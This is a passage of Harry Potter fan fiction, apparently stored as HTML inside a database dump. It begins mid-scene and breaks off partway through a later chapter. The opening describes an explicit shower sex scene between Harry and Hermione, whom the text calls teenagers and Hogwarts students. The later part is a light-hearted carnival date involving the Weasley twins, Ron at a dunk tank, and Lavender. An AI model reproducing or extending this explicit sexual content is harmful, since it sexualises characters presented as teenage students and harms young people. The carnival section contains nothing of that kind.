class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Dammit Herm, you feel so good!&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Hermione clung to his neck as he practically drilled her\ninto the wall, but she absolutely loved it.&nbsp;\nNever had she seen him so primal&#8230;so lustful towards her&#8230;so damn\nirresistible.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Yes Harry&#8230;&#8221; Her legs tightened around his hips, and he sunk\neven deeper inside her.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;It&#8217;s so good with you inside me.&nbsp; Please keep going!&#8221; she pleaded with him.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">With his hands free once again, Harry assaulted her breasts\nwith a wondrous massage while his mouth assaulted her lips.&nbsp; Their tongues swarmed around each other,\nmating with their counterpart.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">No one would believe the scene.&nbsp; Here was Harry and Hermione - probably two of the most\nconservative people in all Hogwarts screwing the living daylights out of one\nanother in the shower.&nbsp; They&#8217;d held\ntheir feelings back for so long, and even after they&#8217;d made love several times,\nthe walls were still in place &#8211; until now.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Hermione was screaming her head off as her lover tore into\nher with no restraint&#8230;no conscious thought except to give her ultimate\npleasure.&nbsp; Her orgasm hit her like a\ntidal wave, and she dug her nails into his back with such forcefulness that\nwelts were certain to form later on.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Harry cried out as she drenched his shaft in liquid heat,\nand he called her name as he filled her with his essence until he was nearly\nunconscious.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">They slipped to the shower floor, quivering in each other&#8217;s\narms.&nbsp; Harry slipped out of her body,\nand he kissed her forehead as she panted against his chest.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">After several minutes, Hermione lifted her head and smiled,\nlooking into his green eyes.&nbsp; How did\nshe ever do without him?&nbsp; Giving him a\ngentle kiss, she embraced her lover, and Harry held her close, savoring their\nintimacy and trust.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Sweetheart?&#8221; he whispered into her hair.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Mmm,&#8221; she murmured softly.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;The next time you want to play shower siren&#8230;warn me first,\nokay?&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Hermione giggled happily and snuggled deeper into his arms.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;I promise, Harry.&nbsp;\nThat was so amazing.&nbsp; I have no\nidea what just happened.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;I don&#8217;t know either.&nbsp;\nI had no idea what a wild woman you could be!&#8221; he teased.&nbsp; She just grinned and kissed him.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;And I had no idea what an animal you could be, love.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;By Merlin, I swear&#8230;I think you were born half genius&#8230;half\nvixen, Hermione!&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Ooooooh, I take that as a compliment.&nbsp; Am I really that good?&#8221; she asked.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Harry could see the joy his words had brought her.&nbsp; He always made her feel like she was more\nthan just books and knowledge; she was a beautiful, sensuous woman.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Herm, you&#8217;re the sexiest girl I know!&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;And you&#8217;re the sexiest guy I know, Harry.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Well then&#8230;I guess we&#8217;re a match made in heaven aren&#8217;t we?&#8221;\nhe sighed and gave her a tender smile.&nbsp;\nHer eyes glowed with her love for him.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;That we are, my darling hero, that we are.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Eventually, the pair made it out of the bathroom and\ndressed.&nbsp; Harry grabbed his invisibility\ncloak out of his trunk and headed downstairs to meet Hermione.&nbsp; She was waiting for him in the middle of the\nliving room.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Ready Herm?&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Yup, I think I have everything.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Since it was quite warm out today, Hermione had decided to\nwear knee-length jean shorts and a yellow t-shirt.&nbsp; Her hair was pulled up into a ponytail to keep herself cool, and\nshe had on a pair of brown sandals along with a pair of black sunglasses.&nbsp; Harry had on a pair of faded black jeans and\na dark green t-shirt that matched his eyes almost perfectly.&nbsp; Because they were going to be walking most\nof the day, he decided to wear gym shoes instead of leather or boat shoes.&nbsp; Hermione had a windbreaker tied around her\nwaist in case it got chilly later on, but then, she could always use Harry to\nkeep warm too.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Well then&#8230;shall we go?&#8221; She nodded at him emphatically.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Harry wrapped his left arm around and pulled her against\nhim. His right hand tossed the cloak over them, and the two teenagers\ndisappeared.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;All right&#8230;hang on.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">A few seconds later, a small pop was heard, and they were\ngone.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Harry and Hermione apparated into a grove of trees and\nquickly checked their surroundings.&nbsp;\nThey were behind a pair of large tents just outside the main\nentrance.&nbsp; Making sure they were alone,\nHarry pulled off the invisibility cloak, and they reappeared.&nbsp; He neatly folded it back up and looked for a\nplace to stash it.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Harry&#8230;in here,&#8221; Hermione advised, pointing to a large knot\nin one of the old, oak trees.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Perfect!&#8221; He rolled up his cloak and tucked it safely inside\nthe trunk.&nbsp; It was down at least a foot\nso no one would see it if they walked by.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Well then&#8230;shall we?&#8221; Harry asked extending his arm.&nbsp; Hermione smiled and linked her arm in his.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">The line wasn&#8217;t that long, but the pair still had to wait\nabout ten minutes to get in.&nbsp; Finally\narriving at the entrance, Harry reached into his pocket and handed the\ngatekeeper the necessary amount for admission, but he grabbed Hermione&#8217;s hand\nwhen she tried to pay him.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Oh no you don&#8217;t, it&#8217;s my treat!&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;But Harry?&#8221; He only smiled at her.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;No buts, Miss Granger.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">The man stamped both of their hands to show that they&#8217;d\npaid, but Harry hadn&#8217;t asked for normal admission.&nbsp; After reading the sign, he&#8217;d paid for a special pass, which gave\nthem free access to every ride or activity at the carnival.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Harry, why didn&#8217;t you let me pay?&#8221; Hermione asked once they\nwere inside.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Hey&#8230;like I said&#8230;it&#8217;s my treat.&nbsp; Besides, this is our first real date.&nbsp; I wouldn&#8217;t be much of a gentleman if I asked my girlfriend to\npay.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;All right&#8230;just don&#8217;t think I&#8217;ll let you pay for\neverything.&nbsp; I&#8217;m the one who suggested\nthis anyway.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Fine, now, let&#8217;s stop arguing and start having fun.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Hermione led them into the main square.&nbsp; The carnival was arranged around a large,\ncentral, circular arena.&nbsp; Maybe it was\ngoing to be used for their medieval show later on?&nbsp; There were four different paths leading out from it, and Hermione\nquickly grabbed a brochure, which listed the various booths and shows that were\nbeing offered this year.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Ooooh, Harry, we have to go to this!&#8221; Hermione said\nhappily.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;What is it?&#8221; She immediately pointed to the listing that\nread &#8216;Exotic Herbs, Objects, and Perfumes For Sale.&#8217;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Who knows&#8230;maybe we can find supplies for next year!&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Always thinking ten steps ahead, aren&#8217;t you?&#8221; he teased.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Oh hush, besides we might find them cheaper than in Diagon\nAlley.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;That&#8217;s true, I guess it wouldn&#8217;t hurt.&nbsp; What else is there?&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Harry skimmed through the list.&nbsp; One read &#8216;Venus Flytrap&#8217; another &#8216;Catch the Hctins&#8217;.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;What&#8217;s a hctins?&#8221; Hermione asked confused.&nbsp; That was when Harry saw it.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;I don&#8217;t believe it!&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;What?&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Hermione&#8230;look&#8230;take hctins and spell it backwards.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;S-N-I-T-C-H.&nbsp; No\nway, you don&#8217;t think they&#8217;re wizards here do you?&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;It wouldn&#8217;t surprise me.&nbsp;\nAfter all, we&#8217;re here aren&#8217;t we?&nbsp;\nIt would make sense I guess because at a carnival you can get away with\nweird things on display.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;That&#8217;s true, but it&#8217;s still hard to believe,&#8221; Hermione\ngasped.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Hmm, let&#8217;s see what else there is.&#8221; Harry continued down\nthe list until his eyes bugged out. &#8220;Oh my gosh!&#8221; He quickly pointed to\nsomething near the bottom.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Hermione read &#8216;Jokes Galore &#8211; If it can make you laugh,\nwe&#8217;ve got it!&#8217;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;What&#8217;s so strange about it, Harry?&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Herm, take a look at who owns that booth.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">She followed the line across the page, and her eyes widened\nat what she saw &#8211; Fred and George Weasley.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;They&#8217;re crazy!&nbsp; Mr.\nWeasley would kill them if he found out about this!&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Come on, love, do you think they really care about that?&#8221;\nHarry asked.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;You&#8217;ve got a point.&nbsp;\nWhy don&#8217;t we go see them?&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;You read my mind!&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Comes with the package,&#8221; she teased.&nbsp; Harry&#8217;s eyes narrowed, and for a moment, he\nlooked at her with what could only be called &#8216;bedroom eyes&#8217;.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;And such a gorgeous package it is,&#8221; he laughed with a wide\ngrin.&nbsp; His hand reached down and\nsqueezed her rear.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Hermione jumped in shock and blushed to the roots of her\nhair.&nbsp; He chuckled lightly, and she\ncovered her flaming cheeks.&nbsp; She got him\nback however when she leaned and whispered in his ear.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Be nice, and you&#8217;ll get my package later tonight,&#8221; she\npurred seductively.&nbsp; Harry gulped and\nfelt sweat form on his brow.&nbsp; Damn, the\nthings she could do to him.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;All right, sweetheart, how about a truce or else I&#8217;m not\ngonna make it through this day without a serious accident.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Agreed, but that doesn&#8217;t mean I&#8217;ll stop flirting with you!&#8221;\nHarry pulled her close and buried his face in her hair.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Hermione, your flirting I can handle, but I swear, the next\ntime you purr in my ear like that, I&#8217;m gonna pull you onto the floor and love\nyou till the sun goes down.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">She giggled happily, knowing she&#8217;d gotten him back with some\nserious interest and backed away.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Come on, let&#8217;s go see the &#8216;Terror Twins&#8217;!&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Harry took her offered hand, and they headed off down a side\npath to meet up with their old friends.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n\n\n\n\n\n'),
	(161, 6, '\n\n\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Hey Fred, what&#8217;d you do with the exploding flowers?&#8221; George\nWeasley asked his twin.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Uh&#8230;I think they&#8217;re next to the Smelly Sparklers.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Ah ha&#8230;found them!&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">The Weasley&#8217;s booth lived up to its owners&#8217; reputation as it\ncarried everything you could use to play a prank on someone.&nbsp; There was a lull in their visitors right now\nso the twins were restocking their inventory for the next rush of customers.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;This was a great idea!&#8221; Fred said with a wide grin, &#8220;We&#8217;re\ngonna make a killing today.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Some things never change.&#8221; The twins&#8217; heads snapped around\nat the voice interrupting them.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Well, I&#8217;ll be bowlegged spider&#8230;Harry!&#8221; George said happily.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Harry approached the booth with Hermione beside him.&nbsp; The two Weasleys looked her up and down with\ntheir jaws hung open.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Wow Harry&#8230;who&#8217;s the cutie?&#8221; Fred asked.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Ask her yourself,&#8221; he answered.&nbsp; Hermione took off her sunglasses, and the two, young men gaped at\nher.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Hermione?&#8221; they both gasped.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;In the flesh.&nbsp;\nHow&#8217;ve you two been?&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Just great.&nbsp; We just\nabout finished making all our stuff for our joke shop.&nbsp; George and I thought it&#8217;d be cool if we\ntried some of our stuff out here to see if it would sell.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;What were the results?&#8221; Harry asked.&nbsp; The two twins&#8217; smiles were completely smug.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Astounding.&nbsp; We&#8217;ve\nalready sold close to half our stuff, and it&#8217;s not even lunch time yet,&#8221; George\nsaid wryly.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;How did you convince your father to let you come here?&#8221;\nHermione said with a slight grin.&nbsp; The\ntwins groaned at the same time.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;We didn&#8217;t tell him, but he found out anyway.&nbsp; When that happened, the only way he let us\ncome is if we agreed to a certain condition&#8230;&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;And that being?&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;&#8230;Ron had to come with to &#8216;keep an eye on us&#8217;.&#8221; Harry and\nHermione looked at each other with bright smiles.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Are you guys serious?&#8221; Harry said excitedly, &#8220;Ron&#8217;s here\ntoo!&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Yeah, we got him a job at one of the other booths so he\nstays out of our hair for most of the day,&#8221; Fred said proudly.&nbsp; Hermione could tell he was hiding something.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Hold on a minute, you two, there&#8217;s something wrong with\nthis picture.&nbsp; What exactly is Ron&#8217;s\njob?&#8221; she asked coolly.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Well&#8230;they didn&#8217;t have many openings left by the time our\ndad found out so we just had to make due,&#8221; George said defensively.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Meaning?&#8221; Hermione prodded.&nbsp; The twins wrapped their arms around each other&#8217;s shoulders.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;We got him a job at the Dunk Tank!&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;The what?&#8221; Harry gawked.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;The Dunk Tank.&nbsp; It&#8217;s\nwhere someone sits on a platform while people throw a ball at a target.&nbsp; If they hit the target, that person is\ndropped into a tank of water,&#8221; George explained.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;How could you?&#8221; Hermione gasped, trying hard not to laugh,\n&#8220;He&#8217;s your brother!&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Exactly.&nbsp; It&#8217;s our\njob to torture him!&#8221; Fred said proudly.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Harry looked at his girlfriend while trying to keep a straight\nface himself.&nbsp; Her lips were quivering,\nand finally, they both started laughing.&nbsp;\nIt was just too funny.&nbsp; They\ncould just imagine Ron sitting there with a nervous expression on his face,\nhoping that everyone would miss the target.&nbsp;\nThey laughed so hard their sides began to hurt, and Fred and George\nbegan laughing right along with them.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Oh, this I have to see!&#8221; Harry quipped as he clutched his\nsides. &#8220;Where&#8217;s the booth at anyway?&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Sadly, it&#8217;s on the other side of the grounds so we can&#8217;t\ndunk him,&#8221; Fred groaned.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Hermione grinned widely, and Harry caught on to what she was\nthinking.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;You can&#8217;t, but we can!&#8221; she giggled.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">The twins grinned evilly and showed Hermione where the Dunk\nTank was on the map.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Well Hermione&#8230;shall we go pay him a visit?&#8221; Harry asked\nwith a crooked smile.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Absolutely.&#8221; She took his hand and prepared to leave.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">They both said goodbye to the Weasley twins and headed in\nthe opposite direction, heading straight towards the area the guys had shown.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Hey Herm?&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Yes?&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;How &#8216;bout I flip you to see who gets to dunk him first?&#8221;\nHarry laughed.&nbsp; She nudged him in the\nribs.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Oh hush you, let&#8217;s just find the place.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">It took about twenty minutes, but Harry finally picked out\nthe sign over the crowd.&nbsp; Since he was about\na head taller than Hermione, it was easier for him to see.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;There it is,&#8221; he said pointing to an open area ahead on the\nleft.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">A large, round, transparent tank was set up, and a tiny seat\nwas suspended above it.&nbsp; There was a\nplastic shield in front of the seat to make sure that nobody decided to pelt\nthe occupant instead of the target.&nbsp;\nNext to it was a vertical sheet of yellow plastic with a large red\nbutton in the center of it.&nbsp; It was only\nabout five inches in diameter so it wasn&#8217;t that easy to hit.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Would you look at that?&#8221; Harry laughed.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">He pointed to the person trying to sit down on the\nprecarious perch, and Hermione started giggling.&nbsp; She&#8217;d know that head of red hair anywhere!&nbsp; Sure enough, it was Ron.&nbsp; His hair was about half-dry so it looked\nlike he hadn&#8217;t been dunked for a while.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Harry noticed that the line wasn&#8217;t very long.&nbsp; Since it was just about lunchtime, most\npeople had headed towards the food court located in the rear of the carnival\ngrounds.&nbsp; He and Hermione showed their\nhands to the owner so they didn&#8217;t have to pay any extra admission and went to\nstand in line.&nbsp; They kept their heads\ndown so Ron didn&#8217;t see them.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">More than ten people went through, but not one of them could\nhit the target.&nbsp; One shot came within a\nhalf an inch, but Ron remained in place.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Ha&#8230;ha&#8230;ha&#8230;you throw like a girl!&#8221; he laughed at the guy\nwho&#8217;d just missed three straight times.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;He&#8217;s gonna get it!&#8221; a female voice said just ahead of\nHarry.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Wait a minute&#8230;&#8221; Hermione gasped, &#8220;&#8230;I know that voice.&#8221; She\nstepped in front of Harry and poked the girl on the shoulder.&nbsp; She immediately turned around.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Lavender!&#8221; Hermione said happily, &#8220;What are you doing\nhere?&#8221; She gave her roommate a hug.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Hermione, it&#8217;s great to see you, and I see you brought\nHarry too,&#8221; she answered with a smiled. </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;When Ron told me about coming here, I just couldn&#8217;t\nresist.&nbsp; Carnivals are so much and\nbesides&#8230;&#8221; her smile turned into a sly grin, &#8220;&#8230;I get to dunk my boyfriend!&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;He looks pretty dry though,&#8221; Harry interjected.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;He won&#8217;t be for long,&#8221; Lavender teased.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;So how did Ron react when he found out what his job was?&#8221;\nHermione chuckled.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;He was ready to kill his brothers, but after chasing them\naround for half an hour, he gave in and came down here.&nbsp; I also told him that I&#8217;d come with him to cheer\nhim up; Ron&#8217;s not to big on being embarrassed &#8211; as I&#8217;m sure you know quite\nwell.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;True, but that just makes it all the more fun,&#8221; Harry said\nwith a wide grin.&nbsp; Lavender grinned\nright back at him.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Why do you think that I&#8217;m standing in line?&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">After about another five minutes, the trio finally made it\nto the head of the line.&nbsp; Ron was still\nhigh and dry, and he had quite a smug look on his face.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;What a bunch of wimps?&nbsp;\nMy little sister could throw better than you!&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Why don&#8217;t we ask her later on?&#8221; a familiar voice\ncountered.&nbsp; His eyes shot open when he\nsaw who was standing in front of the target.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Lavender!&nbsp; What are\nyou doing?&nbsp; You promised you wouldn&#8217;t\ndunk me!&#8221; She merely tossed one of the balls up and down in her hand.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;I merely promised I wouldn&#8217;t be the first one to dunk\nyou.&nbsp; That&#8217;s already been done so you&#8217;re\nall mine, Weasley!&#8221; she said with an evil smile curling on her lips.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;So long, buddy, I wish you well!&#8221; Harry laughed as he\npopped up behind her.&nbsp; Ron&#8217;s eyes nearly\nexploded out their sockets.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Harry!&nbsp; What are you\ndoing here?&#8221;</p>\n\n<p 